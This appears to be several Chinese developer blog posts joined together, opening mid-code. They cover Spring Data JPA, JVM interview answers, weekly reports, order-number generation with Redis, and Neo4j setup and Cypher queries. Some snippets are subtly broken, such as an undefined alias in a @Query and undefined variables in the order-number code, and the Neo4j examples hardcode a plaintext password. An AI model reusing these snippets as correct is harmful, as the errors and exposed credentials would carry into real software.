@Column(name = "user_password", unique = true, nullable = false, length = 64) private String userPassword; }这时候主键阿粉使用的事uuid的策略,但是 Jpa 也是自带主键生成策略的。TABLE:使用一个特定的数据库表格来保存主键SEQUENCE:根据底层数据库的序列来生成主键,条件是数据库支持序列。这个值要与generator一起使用,generator 指定生成主键使用的生成器(可能是orcale中自己编写的序列)IDENTITY:主键由数据库自动生成(主要是支持自动增长的数据库,如mysql)AUTO:主键由程序控制,也是GenerationType的默认值这时候 Dao 需要继承一下 Jpa 的接口了。public interface UserDao extends JpaRepository<User, String> {}JpaRepository里面可是自带了不少方法的,List<T> findAll(); List<T> findAll(Sort sort); List<T> findAllById(Iterable<ID> ids); <S extends T> List<S> saveAll(Iterable<S> entities); void flush(); <S extends T> S saveAndFlush(S entity); <S extends T> List<S> saveAllAndFlush(Iterable<S> entities); /** @deprecated */ @Deprecated default void deleteInBatch(Iterable<T> entities) { this.deleteAllInBatch(entities); } void deleteAllInBatch(Iterable<T> entities); void deleteAllByIdInBatch(Iterable<ID> ids); void deleteAllInBatch(); /** @deprecated */ @Deprecated T getOne(ID id); T getById(ID id); <S extends T> List<S> findAll(Example<S> example); <S extends T> List<S> findAll(Example<S> example, Sort sort);方法是真的不少,主要还是看你怎么使用,我们来试试吧。@RestController @RequestMapping("/users") public class UserController { @Autowired private UserService userService; @RequestMapping(value = "/save") public User saveUser() { User user = new User(); user.setUserName("zhangSan"); user.setUserPassword("123456"); return userService.saveUser(user); } }Service 方法直接调用 UserDao 中的保存,也就是父类中的save方法。public interface UserService { User saveUser(User user); } @Service public class UserServiceImpl implements UserService { @Autowired private UserDao userDao; @Override public User saveUser(User user) { return userDao.save(user); } }然后我们调用方法,再看看数据库我们成功插入进去了一条数据,也就是说,这个方法是没什么毛病的呀,那是不是可以把所有的方法都挨着试一遍。阿粉这里就不再一一的演示了,毕竟很简单的。如果你觉得这些方法不能够满足你的使用,那么你就得继续看了,毕竟确实不能满足日常需求呀。就比如说多参数的,查询,这时候就有And出现,如果有需要,你就得专门的再去 官方文档中查看了Jpa官方文档如果你想使用一下SQL语句呢?这时候,你就得写一个自定义的方法,然后再 Dao 你自定义方法上面加入 @Query注解然后在其中写你的 SQL 语句。@Query("select * from User where u.user_password = ?1") User getByPassword(String password);?1这个实际上就是代表的参数,如果有多个参数,可以使使用?2其实和 Mybaits 的 #{0} 看起来很类似。Jpa的简单使用,你学会了么?说实在的,感觉这种方式,把代码和SQL都融合在了一起,感觉确实不是很好,至少从观看上面来说,体验就非常不好。
面试的时候,很多面试官问 JVM 的时候,我们作为一个开发者,很多时候很难 Get 到面试官提问的要点,因为 JVM 确实太多了,从程序计数器开始,然后堆,然后栈,但是面试的时候却总是回答不好这个问题,很多情况就是没有系统的去看过所以回答面试题的时候,会出现语无伦次,这一块内容,那边一块内容,总是回答不好,几天阿粉就来分享给大家一个 JVM 的面试教程,对你有用的话,点赞关注和收藏一波。你对 JVM 了解么?首先,问这个问题的,一般都是问完了一些基础了,这时候需要你自己从头开始说 JVM 了,很多人实际上想到就是垃圾回收机制,确实,没错,但是,如果你直接就开始说是不是垃圾回收机制的时候,就已经有点答非所问了。为什么这么说,因为 JVM 的垃圾回收机制,都是发生在 堆内存 的,但是,JVM 的划分可不是只要堆内存的,这时候回答应该怎么回答?** JVM 的内部结构,最主要的内部结构是什么!**JVM 分成了两个部分1.线程共享区域2.线程私有区域线程共享区域包含:堆(Heap)、方法区线程私有区域包含:程序计数器、虚拟机栈(Stack)、本地方法栈因为 JVM ,那可是不单单只有 堆(Heap) 的存在呀,其他的存在也是不可缺少的,为什么阿粉要这么说呢?因为有些面试官会问 JVM 的类加载机制 你了解么?如果你只是了解了垃圾回收机制的话,那你这个问题,是不是有点麻了,有点懵了,这不就芭比Q 了么?那么 JVM 的类加载机制 是个什么呢?回答:首先通过类加载器(ClassLoader)会把 .class字节码文件加载到内存中——运行时数据区(Runtime Data Area),而字节码文件只是 JVM 的一套指令集规范,并不能直接交给底层操作系统去执行,因此需要特定的命令解析器执行引擎(Execution Engine),将字节码翻译成底层系统指令,再交由 CPU 去执行,而这个过程中需要调用其他语言的本地库接口(Native Interface)来实现整个程序的功能。跑偏了,我们继续回答上一个问题,既然你说你了解了,你也回答了都有哪些内部结构了,是不是就该说说这些内容是干啥的了,对,没错,就是这么回答。程序计数器:记录线程执行的位置,方便线程切换后再次执行虚拟机栈(Stack):每个线程在创建时都会创建一个虚拟机栈,其内部保存一个个的栈帧(Stack Frame),对应着一次次的 Java 方法调用本地方法栈:是为了执行native方法所服务的说完这个,没啥事别停顿,如果你停顿了,这时候面试官很有可能接着去问你栈的一些特性,你本身是想说垃圾回收机制的,总不能被带跑偏吧,所以,继续往下说。方法区 :线程共享,存储已经被虚拟机加载的类信息、常量、静态变量、即时编译器编译后的代码等等最后我们再说堆(Heap)堆是 JVM 中最主要的区域了,因为堆(Heap)是 Java 虚拟机所管理的内存中最大的一块。唯一目的就是储存对象实例和数组(JDK7 已把字符串常量池和类静态变量移动到 Java 堆),几乎所有的对象实例都会存储在堆中分配。但是呢,随着 JIT 编译器发展,逃逸分析、栈上分配、标量替换等优化技术导致并不是所有对象都会在堆上分配。这时候,一般面试官都会开始提问了,就会让你具体的说说堆内存。Java Heap 堆Java 堆是垃圾收集器管理的主要区域。堆内存分为新生代 (Young) 和老年代 (Old)什么是新生代?主要是用来存放新生的对象。一般占据堆空间的1/3,由于频繁创建对象,所以新生代会频繁触发MinorGC进行垃圾回收。什么是老年代?老年代的对象比较稳定,所以MajorGC不会频繁执行。那么我们在分别来介绍一下 JVM 的新生代 和 老年代,就这两个,足够你和面试官聊上十几分钟的内容了。JVM 的新生代(垃圾回收机制)新生代分为Eden区、ServivorFrom、ServivorTo三个区。Eden区Java新对象的出生地(如果新创建的对象占用内存很大则直接分配给老年代)。当Eden区内存不够的时候就会触发一次MinorGc,对新生代区进行一次垃圾回收。ServivorFrom区上一次GC的幸存者,作为这一次GC的被扫描者。当JVM无法为新建对象分配内存空间的时候(Eden区满的时候),JVM触发MinorGcServivorTo区保留了一次MinorGc过程中的幸存者。那么新生代会使用什么样子的垃圾回收机制呢?我们每次new对象的时候都会先在新生代的Enden区放着也就是最开始 是这样子的然后在Enden用完的时候里面会出现待回收的然后就来了把存活的对象复制放到Survior1(from)中,待回收的等待给他回收掉 就是这样的然后把Enden区清空回收掉这样的话 第一次GC就完成了,下面再往下走当Enden充满的时候就会再次GC先是这个样子的然后会把 Enden和Survoir1中的内容复制到Survior中,然后就会把Enden和Survior进行回收然后从Enden中过去的就相当于次数少的,而从Survior1中过去的就相当于移动了2次这样新生代的GC就执行了2次了,当Enden再次被使用完成的时候,就会从Survior2复制到Survior1中,接下来是连图
今天是 2022 年的第一个工作日,沉浸在假期中的打工人又要开启一年的打工之路了,毕竟只有我们好好努力,老板们才能更早的换车换房。2021 年已经结束了,这几天陆陆续续的大家都在进行年终总结,大佬们也组织了各种跨年演讲。对于我们程序员来说,写周报都感觉已经很难了,还要写年终总结,简直不要太难。说到写周报知乎上面就有一个网友提问,程序员周报写不出来怎么办?关注的人数已经达到 24 w 了,看来这个问题已经是个很常见的问题,很多人都写不出周报,觉得一周好像做了一些事情,但是又好像啥也没做,但是确实又做了,就是说不出来。在阿粉看来,周报写不出来主要有两个原因:程序员都比较务实。接手的每一个需求的底层实现都基本上知道,用到的一些东西要么就是很简单的一些 CRUD,要么就是一些开源的实现,很多事情处理起来很普通,所以在写周报的时候就不会把一些鸡毛蒜皮的小事当成噱头来封装汇报,毕竟在懂行的同事和领导眼中这个都很简单,特别是在一些技术出身的领导面前,这样更是班门弄斧,完全没必要,很有可能还会让别人觉得自己在炫耀。再一个是程序员的工作很难用一些指标去衡量。程序员的周报不可能像产品或者业务人员一样,用很多指标和图标来进行展现,毕竟总不能把自己每周写了多少行代码,出了多少个 Bug,以及解了多少个 Bug 都用图标表述出来吧。而且不像产品开个会都可以写上周报,会是开完了,但是功能还没实现,自然写不出什么内容。那很多小伙伴就要问了,写不出来不行,领导要看啊。是的,所以程序员的周报或者说技术人还是要善于包装和展现自己,我们不能单单的只盯着产品的 PRD 实现一些需求,在完成需求的同时要加上自己的思考,这些内容本身都是工作。比如说在开始编码之前,我们可以想好设计方案,自己对这个项目是如何设计技术方案的,会产生什么问题和风险,怎么解决以及如果要和其他团队对接的话会不会有难度需不需要领导协调资源等等。这些内容其实都是我们的工作,有些东西如果前期没有想好的话,后期可能会造成项目延期。另外汇报工作的进度也可以按照百分比进行汇报,汇报一下目前的项目进度到哪,以及是否有遇到问题。周报的目的虽然说是为了让领导知道我们项目进展是否顺畅,更有一个很重要的点就是让领导知道我们是否遇到问题,毕竟很多问题是需要领导提供和协调资源的。毕竟有的时候不给领导安排点任务,怎么才能体现领导的重要性。适当的对自己的工作进行总结,对技术来说也是很重要的。不管是周报,还是述职或者是年终总结,每过一个阶段对自己上一个阶段进行回溯,总是可以得到很多收获。所以你们公司要求写周报吗?欢迎在评论区留言探讨。
一、介绍曾经有个项目,我们线上出了一次事故,这个事故的表象大体是这样的:系统出现了两个一模一样的订单号,订单的内容却不是一样的,而且事情发生的不止一次,被老板发现之后,当月绩效被扣光!事后经过排查,产生这个问题,总结主要有两个原因:1、数据库订单表里面,对订单编号没有设置唯一键约束2、生成订单编号的时候,采用了随机数,导致有部分单号发生了重复针对这个问题也做了一些研究,有一些收获想分享给大家!本文主要以讨论电商的订单编码规则为案例,其他类型的服务编号设计思路其实也是相似的。不废话,直接干货!订单命名的几种规则总结:不重复:这点我相信大家都懂,必须全局唯一安全性:订单号需要做到不容易被人为的猜测或者推测出来,例如订单号就是流水号的话,那么别人就很容易从订单号推测出公司的整体运营情况。禁用随机码:很多人分析生成订单号的时候,第一个念头肯定是不重复唯一性,那么第二个念头可能就是安全性,想要同时满足前两者,很容易想到使用随机码,随机码从一定程度来说,更安全、不重复性更高,但是可读性差,有概率会发生重复。防止并发:针对系统的并发业务场景(如秒杀),需要做到并发场景下,订单编号生成快速、不重复等要求控制位数:订单号的位数尽量在 10 位 ~ 18 位之间。太短的情况下,如果交易量过大,很难做到防止重复,太长可读性差、意义也不大。二、方案实践上面提到了订单编号生成的规则,那要实现这样的规则,该如何实现会比较好呢?下面总结几种常见的处理方式,我们一一分析!2.1、方案一:UUIDUUID 是Universally Unique Indentifier的缩写,翻译为通用唯一识别码,顾名思义 UUID 是一个用于记录唯一标识一条的数据,其按照开放软件基金会(OSF)指定的标准进行计算,用到了以太网卡地址(MAC)、纳秒级时间、芯片 ID 码和许多可能的数字。总的来说,UUID 码由以下三部分组成:当前日期和时间时钟序列全局唯一的 IEEE 机器识别码(如果有网卡从网卡获得,没有网卡则通过其他方式获得)UUID 的标准形式包含 32 个 16 进制数字,以连字号分为五段,示例:00000191-adc6-4314-8799-5c3d737aa7de。以java为例,通过以下方式即可生成:String uuid = UUID.randomUUID().toString();这种方案,虽然实现简单、方便;但是数据库查询效率非常差,而且内容长,在实际的项目场景开发中,一般用于于记录用户的手机设备ID等硬件信息!因此不推荐采用 uuid 来生成订单编号!2.2、方案二:数据库自增所谓数据库自增,意思是在数据库中给某个列设置为自增列,并且给该列设置一个初始值,代码层面无需任何特殊处理,以 Mysql 的用户表 ID 列为例,可以通过如下方式在创建表的时候生产。CREATE TABLE `tb_user` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `name` varchar(20) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;这种通过数据库自增方式实现唯一值,在单体服务下是没有问题,但是在大流量分布式服务环境下,并发性能很低。以后数量大的时候,需要对 mysql 进行分库分表,此时订单号会重复,因此不推荐采用!2.3、方案三:雪花算法Snowflake(中文简称:雪花算法) 是 Twitter 内部的一个 ID 生算法,可以通过一些简单的规则保证在大规模分布式情况下生成唯一的 ID 号码。其内部结构如下:可以很清晰的看出,Snowflake 由 4个部分组成:第一部分:bit 值,为未使用的符号位第二部分:由 41 位的时间戳(毫秒)构成,它的取值是当前时间相对于某一时间的偏移第三部分:表示工作机器 id,由服务节点 id 和数据中心 id 组合而成第四部分:表示每个工作机器每毫秒生成的序列号 ID,同一毫秒内最多可生成生产 4095 个 ID。由于在 Java 中 64bit 的整数是 long 类型,因此在 Java 中 SnowFlake 算法生成的 id 就是 long 来存储的。SnowFlake 算法可以保证:1.所有生成的 id 按时间趋势递增2.整个分布式系统内不会产生重复id(因为有服务节点 id 和数据中心 id 来做区分)需要注意的是:在分布式环境中,5 个 bit 位的 datacenter 和 worker 表示最多能部署 31 个数据中心,每个数据中心最多可部署 31 台节点。41 位的二进制长度最多能表示2^41 -1毫秒即 69 年,所以雪花算法最多能正常使用 69 年,为了能最大限度的使用该算法,在使用的时候,应该为其指定一个开始时间,不然会发生重复!在高并发的环境下,Snowflake 算法可以生成全局唯一的订单编号,但是他的长度达到21位,因此不推荐采用,但是可以用它来生成主键 ID,是完全没有问题的!2.4、方案三:分布式组件要想在分布式环境下生成一个唯一的订单编号,我们可以通过分布式组件的方式,来帮忙我们生成全局唯一的订单号,例如我们可以采用 redis 分布式缓存组件中的incr命令,来帮我们生成一个全局自增长的序列号!实现逻辑如下://基于某个key实现自增长 String res = jedis.get(key); if (StringUtils.isBlank(res)) { jedisClient.set(key, INIT_ID);//设置自增长的初始值,INIT_ID 是初始值 jedisClient.expire(key, seconds);//设置过期时间,seconds 是多少秒过期 } long orderId = jedis.incr(key);//存在就生成+1的订单号这种方式生成的自增长序列号,非常的快,可以很好的满足大流量环境下的编号要求唯一的特性!剩下的主要工作就是我们如何去设计一个订单号规则!在设计规则之前,我们先来看看互联网几个大厂的订单号格式。京东商城订单号格式:157444499苏宁易购订单号格式:2000839647凡客诚品订单号格式:213052230059银泰网订单号格式:10030522161715小米订单号格式:1111218032345170我们先来分析一下凡客诚品和银泰网的订单号生成规则。凡客诚品和银泰网订单号都含有 0522,这是因为这 2 张订单都是2013年5月22号下的订单。基本猜测一下,凡客的订单规则是:业务编码+年的后2位+月+日+订单数;泰网的订单号规则:年的第三位数+业务编码+年的后1位+月+日+订单数;而京东商城和苏宁易购的订单号看不出规则。最后我们来分析一下小米订单号1111218032345170,可以将其分解成四个部分1——111218—03234—5170。第一部分,1 表示购买,2 表示退货。第二部分,表示 2011 年 12 月 18 日下的单,前面两位省掉了。第三部分,时间戳对应00:53:54,换算成秒是03234秒。最后一部分,表示在同一秒内下的第 5170 单,也就是说,小米认为,在一秒内不会超过一万个订单。总结起来,小米的订单规则是:业务编码+年的后 2 位+月+日+秒+订单数,固定长度为16,这种订单号规则可以保证 100 年不会重复!同样的,借鉴小米的订单号规则,我们也可以生成同样的订单号,实现过程如下://获取当前时间 Date currentTime = new Date(); //格式化当前时间为【年的后2位+月+日】 String originDateStr = new SimpleDateFormat("yyMMdd").format(currentTime ); //计算当前时间走过的秒 Date startTime = new SimpleDateFormat("yyyyMMdd").parse(new SimpleDateFormat("yyyyMMdd").format(originDate)); long differSecond = (currentTime.getTime() - startTime.getTime()) / 1000; //获取【年的后2位+月+日+秒】,秒的长度不足补充0 String yyMMddSecond = originDateStr + StringUtils.leftPad(String.valueOf(differSecond), 5, '0'); //获取【业务编码】 + 【年的后2位+月+日+秒】,作为自增key; String prefixOrder = sourceType + "" + yyMMddSecond; //通过key,采用redis自增函数,实现单秒自增;不同的key,从0开始自增,同时设置60秒过期 Long incrId = redisUtils.saveINCR(prefixComplaint, 60); //生成订单编号 String orderNo = prefixOrder + StringUtils.leftPad(String.valueOf(incrId), 4, '0');此订单编号可以保证大流量环境下全局唯一、生成速度非常的快、支持高并发环境,同时还支持按时间排序!三、总结通过上面的示例演示,我们可用做一个详细的总结!综上所述,在大流量的环境下,我们可以通过 redis 的incr函数实现序列号自增的特性,同时搭配订单的设计规则,从而保证高并发的环境下,订单唯一性!
前几天阿粉给大家扩展了关于 Neo4J 图谱数据库的内容,今天阿粉教给大家如何使用 Java 来操作 Neo4j 数据库。使用 Java 操作 Neo4J首先我们先使用原生的这种方式,导入 jar 包,然后:public class TestController { public static void main(String[] args) { Driver driver = GraphDatabase.driver("bolt://localhost:7687", AuthTokens.basic("neo4j", "Yinlidong1995.")); Session session = driver.session(); session.run("CREATE (n:Part {name: {name},title: {title}})", parameters( "name", "Arthur001", "title", "King001" )); StatementResult result = session.run( "MATCH (a:Part) WHERE a.name = {name} " + "RETURN a.name AS name, a.title AS title", parameters( "name", "Arthur001")); while (result.hasNext()) { Record record = result.next(); System.out.println( record.get( "title" ).asString() + "" + record.get( "name" ).asString() ); } session.close(); driver.close(); } }这是一种比较古老的方式,来实现的,而且还是需要些 CQL 语句来进行实现。但是胜在非常好理解,这个时候,我们需要再来看看图,看看在 Neo4J 中他是怎么展现的。通过这个,我们至少证明我们成功连上了,并且创建也成功了。这时候有细心的读者就会问,为啥我之前在 GraphDatabase.driver 的地方,连接的是bolt://localhost:7687.这是因为,你启动的Neo4J 是7474,也就是说,Neo4J 服务里面可不是这个来连接,SpringBoot 整合 Neo4j1.创建SpringBoot项目常规的创建SpringBoot项目,创建完成之后,习惯性的要改一下 SpringBoot 的版本号,最好别用最新的,因为阿粉亲身经历,使用最新版的,出现了错误你都不知道怎么出现的,就是这么神奇,你永远都发现不了的bug。我们把版本号改成2.1.0,这样的话,我们在 pom 文件中加入依赖 jar<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-neo4j</artifactId> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <version>1.16.10</version> </dependency>2.增加配置spring: data: neo4j: url: bolt://localhost:7687 username: neo4j password: Yinlidong1995. main: allow-bean-definition-overriding: true3.Neo4JConfigpackage com.example.neo4j.config; import org.neo4j.driver.v1.AuthTokens; import org.neo4j.driver.v1.Driver; import org.neo4j.driver.v1.GraphDatabase; import org.neo4j.driver.v1.Session; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.data.neo4j.repository.config.EnableNeo4jRepositories; import org.springframework.transaction.annotation.EnableTransactionManagement; @Configuration @EnableNeo4jRepositories("com.example.neo4j.repository") @EnableTransactionManagement public class Neo4jConfig { @Value("${spring.data.neo4j.url}") private String url; @Value("${spring.data.neo4j.username}") private String userName; @Value("${spring.data.neo4j.password}") private String password; @Bean(name = "session") public Session neo4jSession() { Driver driver = GraphDatabase.driver(url, AuthTokens.basic(userName, password)); return driver.session(); } }4.编写实体类package com.example.neo4j.entry; import org.neo4j.ogm.annotation.*; import java.util.HashSet; import java.util.Set; @NodeEntity("group") @Data public class GroupNode { @Id @GeneratedValue private Long id; /** * 班级名称 */ @Property(name = "name") private String name; /** * 编号 */ private String num; @Relationship(type = "RelationEdge") private Set<RelationEdge> sets = new HashSet<>(); public void addRelation(StudentNode sonNode, String name) { RelationEdge relationNode = new RelationEdge(this, sonNode, name); sets.add(relationNode); sonNode.getSets().add(relationNode); } }学生实体类:package com.example.neo4j.entry; import org.neo4j.ogm.annotation.GeneratedValue; import org.neo4j.ogm.annotation.Id; import org.neo4j.ogm.annotation.NodeEntity; import org.neo4j.ogm.annotation.Relationship; import java.util.HashSet; import java.util.Set; /** * 有点类似于Mysql中的table 映射的对象类,mysql中叫做ORM,neo4j中叫做OGM [object graph mapping] */ @NodeEntity("student") @Data public class StudentNode { @Id @GeneratedValue private Long id; /** * 学生名称 */ private String name; /** * 性别 */ private String sex; @Relationship(type = "RelationEdge", direction = "INCOMING") private Set<RelationEdge> sets = new HashSet<>(); }package com.example.neo4j.entry; import lombok.Data; import org.neo4j.ogm.annotation.*; @RelationshipEntity(type = "RelationEdge") @Data public class RelationEdge { @Id @GeneratedValue private Long id; // 关系名 private String name; @StartNode private GroupNode groupNode; @EndNode private StudentNode studentNode; public RelationEdge(GroupNode parentNode, StudentNode sonNode, String name) { this.groupNode = parentNode; this.studentNode = sonNode; this.name = name; } }5.Repository接口对应的学生接口:package com.example.neo4j.repository; import com.example.neo4j.entry.StudentNode; import org.springframework.data.neo4j.repository.Neo4jRepository; public interface StudentRepository extends Neo4jRepository<StudentNode,Long> { }对应的班级接口package com.example.neo4j.repository; import com.example.neo4j.entry.GroupNode; import org.springframework.data.neo4j.repository.Neo4jRepository; public interface GroupRepository extends Neo4jRepository<GroupNode,Long> { }最后完成编写我们的 Controllerpackage com.example.neo4j.controller; import com.example.neo4j.entry.*; import com.example.neo4j.repository.GroupRepository; import com.example.neo4j.repository.StudentRepository; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @RequestMapping("/node") @Slf4j public class GroupController { @Autowired private StudentRepository studentRepository; @Autowired private GroupRepository groupRepository; @GetMapping(value = "/create") public void createNodeRelation() { StudentNode studentNode1 = new StudentNode(); studentNode1.setName("Alen"); studentNode1.setSex("男"); StudentNode studentNode2 = new StudentNode(); studentNode2.setName("Kai"); studentNode2.setSex("女"); studentRepository.save(studentNode1); studentRepository.save(studentNode2); GroupNode groupNode = new GroupNode(); groupNode.setName("火箭班"); groupNode.setNum("298"); // 增加关系 groupNode.addRelation(studentNode1, "includes"); groupNode.addRelation(studentNode2, "includes"); groupRepository.save(groupNode); } }启动之后,访问http://localhost:8080/node/create我们再去图谱数据库看看。怎么样,使用Java 操作是不是也是非常简单的呢?这样的图谱数据库你会选择么?
实际上为了更好的描述实体之间的关系,我们要是再继续使用Redis的话,是不是感觉实体之间的关系不够那么的明显,虽然也是属于NoSQL的一种,但是相对来说,Redis,表现实体之间的关系就没有那么清晰了,为了更好的描述实体之间的关系,就会使用图形数据库来进行了,那么今天阿粉介绍的,就是一个图形化的数据可,Neo4J。什么是Neo4JNeo4j是一个世界领先的开源的基于图的数据库。它是使用Java语言完全开发的。那么什么是图数据库呢?图数据库是以图结构的形式存储数据的数据库。它以节点,关系和属性的形式存储应用程序的数据。正如RDBMS以表的“行,列”的形式存储数据,GDBMS以图的形式存储数据。RDBMS与图数据库的区别1.Tables 表Graphs 图表2.Rows 行Nodes 节点3.Columns and Data 列和数据 Properties and its values属性及其值4.Constraints 约束Relationships 关系5.Joins 加入Traversal 遍历说完了图形数据库,我们就来看看这个 Neo4J 数据库吧Neo4J 数据库的安装neo4j是用Java语言编写的图形数据库,运行时需要启动JVM进程,因此,需安装JAVA SE的JDK。关于 Java 怎么安装,我就不用再多废话了吧,到时候别忘了检测一下 Java 的版本就好了,java -version接下来我们就是要进行一个安装了,我们先去官网,下载社区版,企业版要收费的,注意哈。官网地址下载完成,直接开始安装,傻瓜式操作即可。Neo4j应用程序有如下主要的目录结构:bin目录:用于存储Neo4j的可执行程序conf目录:用于控制Neo4j启动的配置文件data目录:用于存储核心数据库文件plugins目录:用于存储Neo4j的插件注意,如果你使用的是Zip的压缩包来进行的使用的话,那么你就需要注意一些地方,比如你如果是用 Zip 的包解压之后,并且想要通过 bat 的命令启动,直接在目录下进行 cmd ,然后 neo4j.bat ,这时候可能会出现一个问题,就是版本可能会出现问题,你如果下载使用的是最新版的 Neo4J ,那么就可能会让你使用 JDK 11 ,而阿粉就是踩过了这个大坑之后,才发现,bat 闪退的原因。警告: ERROR! Neo4j cannot be started using java version 1.8.0_181 警告: * Please use Oracle(R) Java(TM) 11, OpenJDK(TM) 11 to run Neo4j Server. * Please see https://neo4j.com/docs/ for Neo4j installation instructions. Invoke-Neo4j : This instance of Java is not supported 所在位置 E:\softFile\neo4j-community-4.4.2\bin\neo4j.ps1:21 字符: 7 + Exit (Invoke-Neo4j -Verbose:$Arguments.Verbose -CommandArgs $Argument ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorException + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Invoke-Neo4j这样就是说明我们的 JDk 的版本对应的和 Neo4J 需要的 JDK 是不匹配的,我们就需要换一下我们的 JDK 了。把他换成 JDK 11 就好了,再次启动。neo4j.bat consoleE:\softFile\neo4j-community-4.4.2\bin>neo4j.bat console Directories in use: home: E:\softFile\neo4j-community-4.4.2 config: E:\softFile\neo4j-community-4.4.2\conf logs: E:\softFile\neo4j-community-4.4.2\logs plugins: E:\softFile\neo4j-community-4.4.2\plugins import: E:\softFile\neo4j-community-4.4.2\import data: E:\softFile\neo4j-community-4.4.2\data certificates: E:\softFile\neo4j-community-4.4.2\certificates licenses: E:\softFile\neo4j-community-4.4.2\licenses run: E:\softFile\neo4j-community-4.4.2\run Starting Neo4j. 2021-12-19 12:37:08.121+0000 INFO Starting... 2021-12-19 12:37:09.665+0000 INFO This instance is ServerId{25e1fcb1} (25e1fcb1-702c-4b58-bcdc-3564df95b2a1) 2021-12-19 12:37:11.957+0000 INFO ======== Neo4j 4.4.2 ======== 2021-12-19 12:37:14.556+0000 INFO Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED 2021-12-19 12:37:14.567+0000 INFO Setting up initial user from defaults: neo4j 2021-12-19 12:37:14.568+0000 INFO Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false) 2021-12-19 12:37:14.589+0000 INFO Setting version for 'security-users' to 3 2021-12-19 12:37:14.594+0000 INFO After initialization of system graph model component 'security-users' have version 3 and status CURRENT 2021-12-19 12:37:14.601+0000 INFO Performing postInitialization step for component 'security-users' with version 3 and status CURRENT 2021-12-19 12:37:15.979+0000 INFO Bolt enabled on 127.0.0.1:7687. 2021-12-19 12:37:17.200+0000 INFO Remote interface available at http://localhost:7474/ 2021-12-19 12:37:17.206+0000 INFO id: 1ED17593750B5E6E3046A68E5254B92B64EE0B6CECA021D540D1B93BDFE67164 2021-12-19 12:37:17.206+0000 INFO name: system 2021-12-19 12:37:17.207+0000 INFO creationDate: 2021-12-19T12:37:12.956Z 2021-12-19 12:37:17.207+0000 INFO Started.这时候,我们就直接访问 localhost:7474 的端口,直接就能看到如下的画面, 1.jpg刚进入的时候可能需要大家输入帐号密码,默认的帐号密码就是,neo4j 修改成你想要的就行了。这样登录进去我们就能开始正式学习 Neo4J 的所有内容了。Neo4J 的语法教学Neo4j - CQL语法它是Neo4j图形数据库的查询语言。它是一种声明性模式匹配语言它遵循SQL语法。它的语法是非常简单且人性化、可读的格式。我们在讲语法之前首先我们先得看看 Neo4J 的构建模块,不然之后的查询都是无意义的。Neo4j图数据库主要有以下构建块 -节点属性关系标签数据浏览器节点是图表的基本单位。它包含具有键值对的属性,如下所示属性是用于描述图节点和关系的键值对关系是图形数据库的另一个主要构建块。它连接两个节点,如下所示。Label将一个公共名称与一组节点或关系相关联。节点或关系可以包含一个或多个标签。我们可以为现有节点或关系创建新标签。我们可以从现有节点或关系中删除现有标签。Neo4j数据浏览器 一旦我们安装Neo4j,我们可以访问Neo4j数据浏览器使用以下URLhttp:// localhost:7474 / browser /CQL 语法CREATE 语法CREATE (<node-name>:<label-name>)它是我们要创建的节点名称。它是一个节点标签名称我们可以创建一个节点,然后给他安排上一个标签CREATE (emp:Employee)当我们看到Added 1 label, created 1 node, completed after 74 ms.这就创建成功了,那么怎么查看呢?MATCH语法MATCH (<node-name>:<label-name>) return xxx是这个样子的MATCH (emp:Employee) return emp╒═════╕ │"emp"│ ╞═════╡ │{} │ └─────┘但是看到里面竟然没有东西,就相当于是一个空的对象,那是不是就应该给里面放入属性的操作呢?没错,肯定有CREATE (emp:Employee{ id : 1001 ,name :"lucy", age : 10})Added 1 label, created 1 node, set 3 properties, completed after 163 ms. 创建成功。我们再次查看就能看到╒══════════════════════════════════╕ │"emp" │ ╞══════════════════════════════════╡ │{} │ ├──────────────────────────────────┤ │{"name":"lucy","id":1001,"age":10}│ └──────────────────────────────────┘如果我们想只要其中的一些对象的属性,而不是全部属性,那应该怎么操作呢?RETURN语法RETURN 可以返回的是一个对象,也可以是对象中的属性,比如:MATCH (emp:Employee) return emp.name结果就是下面这个样子的,大家看一下,是不是感觉还是挺好用的。╒══════════╕ │"emp.name"│ ╞══════════╡ │"Lokesh" │ ├──────────┤ │"jack" │ ├──────────┤ │"luxun" │ ├──────────┤ │"lucy" │ └──────────┘** WHERE语法**WHERE <condition>为什么在前面的位置阿粉说,CQL 是和 SQL 类型的,这完全是因为很多东西和 SQL 是类似的。MATCH (emp:Employee) where emp.name = 'jack' return emp结果如下:╒════════════════════════════════════════════════╕ │"emp" │ ╞════════════════════════════════════════════════╡ │{"name":"jack","id":125,"deptno":10,"sal":35800}│ └────────────────────────────────────────────────┘相同的还有布尔运算符描述AND和OR或者NOT非XOR异或比较运算符描述=“等于”运算符<>“不等于”运算符<“小于”运算符>“大于”运算符<=“小于或等于”运算符。>=“大于或等于”运算符。DELETE语法删除语法必然是有的,因为有创建,肯定有删除。DELETE <node-name-list>但是这个命令也不是单独使用的哈,MATCH (e: Employee) DELETE e直接删除成功。基础的东西讲完了,阿粉就得说说这个比较重要的内容了,关系,Neo4j 的关系我们之前创建节点的时候,那叫一个简单舒适加愉快,但是创建关系就比较复杂了,因为需要考虑如何匹配到有关系的两个节点,以及关系本身的属性如何设置。这里我们就简单学一下如何建立节点之间的关系。由于Neo4j CQL语法是以人类可读的格式。Neo4j CQL也使用类似的箭头标记来创建两个节点之间的关系。每个关系(→)包含两个节点在Neo4j中,两个节点之间的关系是有方向性的。它们是单向或双向的。如果我们尝试创建一个没有任何方向的关系,那么就会报错。关系创建语法CREATE (<node1-details>)-[<relationship-details>]->(<node2-details>)我们这里直接使用创建新的节点来创建关系。CREATE 